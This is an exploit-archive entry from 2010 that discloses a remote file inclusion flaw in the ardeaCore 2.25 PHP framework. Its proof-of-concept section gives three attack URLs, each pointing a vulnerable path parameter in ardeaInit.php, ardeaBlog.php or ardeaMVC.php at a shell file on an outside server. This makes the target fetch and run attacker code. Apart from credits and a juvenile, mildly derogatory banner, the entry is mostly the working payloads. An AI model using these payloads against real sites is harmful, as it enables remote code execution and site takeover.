ardeaCore 2.25 - PHP Framework Remote File Inclusion

Author: n0n0x
type: webapps
platform: php
port: 
date_added: 2010-12-29 
date_updated: 2015-07-12 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comardeaCore_v2.2.7z

******************************************************
[!] Discovered: n0n0x
[!] Homepage: http://priasantai.uni.cc/
[!] Remote: yes
******************************************************

*****************************************[ Hello gay ]***********************************************
****************************************************************************************************************
[x] PoC:

http://host/ardeaCore_v2.25/ardeaCore/lib/core/ardeaInit.php?pathForArdeaCore=[http://server/shell.tmp???]
http://host/ardeaCore_v2.25/ardeaCore/lib/core/ardeaBlog.php?CURRENT_BLOG_PATH=[http://server/shell.tmp???]
http://host/ardeaCore_v2.25/ardeaCore/lib/core/mvc/ardeaMVC.php?appMVCPath=[http://server/shell.tmp???]
****************************************************************************************************************

*****************************************[ Hello gay ]***********************************************

****************************************************************************************************************
[!] Thanks:

    manadocoding.net, sekuritionline.net
****************************************************************************************************************
[!] Greetz:

    str0ke, angky.tatoki,EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, zreg, Valentin,team_elite
    devilbat.

[!] special thanks : cr4wl3r - cyberl0g
****************************************************************************************************************